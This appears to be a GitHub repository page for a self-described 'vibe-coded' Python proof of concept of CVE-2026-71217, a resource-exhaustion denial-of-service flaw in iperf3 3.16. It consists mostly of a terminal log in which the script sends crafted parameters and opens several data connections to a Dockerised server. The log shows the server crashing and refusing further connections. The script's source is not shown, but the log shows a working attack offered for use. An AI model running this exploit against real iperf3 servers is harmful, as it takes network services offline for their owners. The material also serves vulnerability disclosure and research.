reelix/cve-2026-71217-pocPython PoCは、iperf3 3.16におけるリソース枯渇型サービス拒否攻撃であるCVE-2026-71217を実証するもので、Dockerセットアップと細工されたストリーム攻撃を含みます。
CVE-2026-71217 の極めて vibe-coded なデモンストレーション - iperf3 3.16 に対してテスト済み
reelix@reelix-cachy ~/CVE-2026-71217 docker container ls -la
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
50d4673a0b27 iperf3:3.16-vuln "iperf3 -s" 41 minutes ago Exited (139) 3 minutes ago iperf3-3.16-server
reelix@reelix-cachy ~/CVE-2026-71217 docker restart iperf3-3.16-server
iperf3-3.16-server
reelix@reelix-cachy ~/CVE-2026-71217 docker container ls -la
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
50d4673a0b27 iperf3:3.16-vuln "iperf3 -s" 41 minutes ago Up 2 seconds 5201/udp, 0.0.0.0:5201->5201/tcp, [::]:5201->5201/tcp iperf3-3.16-server
reelix@reelix-cachy ~/CVE-2026-71217 iperf3 -c 127.0.0.1 -t 1
Connecting to host 127.0.0.1, port 5201
[ 5] local 127.0.0.1 port 59758 connected to 127.0.0.1 port 5201
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 11.8 GBytes 101 Gbits/sec 0 3.37 MBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-1.00 sec 11.8 GBytes 101 Gbits/sec 0 sender
[ 5] 0.00-1.00 sec 11.8 GBytes 101 Gbits/sec receiver
iperf Done.
reelix@reelix-cachy ~/CVE-2026-71217 docker container ls -la
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
50d4673a0b27 iperf3:3.16-vuln "iperf3 -s" 41 minutes ago Up 31 seconds 5201/udp, 0.0.0.0:5201->5201/tcp, [::]:5201->5201/tcp iperf3-3.16-server
reelix@reelix-cachy ~/CVE-2026-71217 python3 ./poc_iperf3_dos.py 127.0.0.1 5201
============================================================
CVE-2026-71217 PoC — iperf3 Resource Exhaustion
Target: 127.0.0.1:5201
Scenario: combined
============================================================
────────────────────────────────────────────────────────────
Monitoring server resources for 15s…
────────────────────────────────────────────────────────────
[+] Attack: Combined — 1000 streams × 100 MB buffer
────────────────────────────────────────────────────────────
[*] Connected to server on control channel
[*] Sent cookie (37 bytes): ivvqmqgp3byvppnei2fziyilmearn7hafuon
[00s] Memory: 0.01% | CPU: 2.109MiB
[*] Server state: 9 (PARAM_EXCHANGE=9)
[*] Sending crafted parameters (117 bytes)...
[*] Parameters sent. Waiting for server response...
[*] Server state: 10 (CREATE_STREAMS=10)
[*] Connecting to data port 5201 to trigger stream creation...
[*] Data connection 1 established (cookie sent)
[*] Data connection 2 established (cookie sent)
[*] Data connection 3 established (cookie sent)
[*] Data connection 4 established (cookie sent)
[*] Data connection 5 established (cookie sent)
[*] Data connection 6 established (cookie sent)
[*] Data connection 7 established (cookie sent)
[*] Data connection 8 established (cookie sent)
[*] Data connection 9 established (cookie sent)
[*] Data connection 10 established (cookie sent)
[*] Keeping 10 data connections open for 10s...
[03s] Memory: 21.50% | CPU: 1.958GiB
[06s] Memory: 0.00% | CPU: 1.957GiB
[09s] Memory: 0.00% | CPU: 1.957GiB
[12s] Memory: 0.00% | CPU: 1.958GiB
────────────────────────────────────────────────────────────
[*] Control channel closed. Server continues processing in background...
[+] PoC execution complete.
reelix@reelix-cachy ~/CVE-2026-71217 iperf3 -c 127.0.0.1 -t 1
iperf3: error - unable to connect to server - server may have stopped running or use a different port, firewall issue, etc.: Connection refused
reelix@reelix-cachy ~/CVE-2026-71217 docker container ls -la
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
50d4673a0b27 iperf3:3.16-vuln "iperf3 -s" 42 minutes ago Exited (139) 21 seconds ago iperf3-3.16-server
reelix@reelix-cachy ~/CVE-2026-71217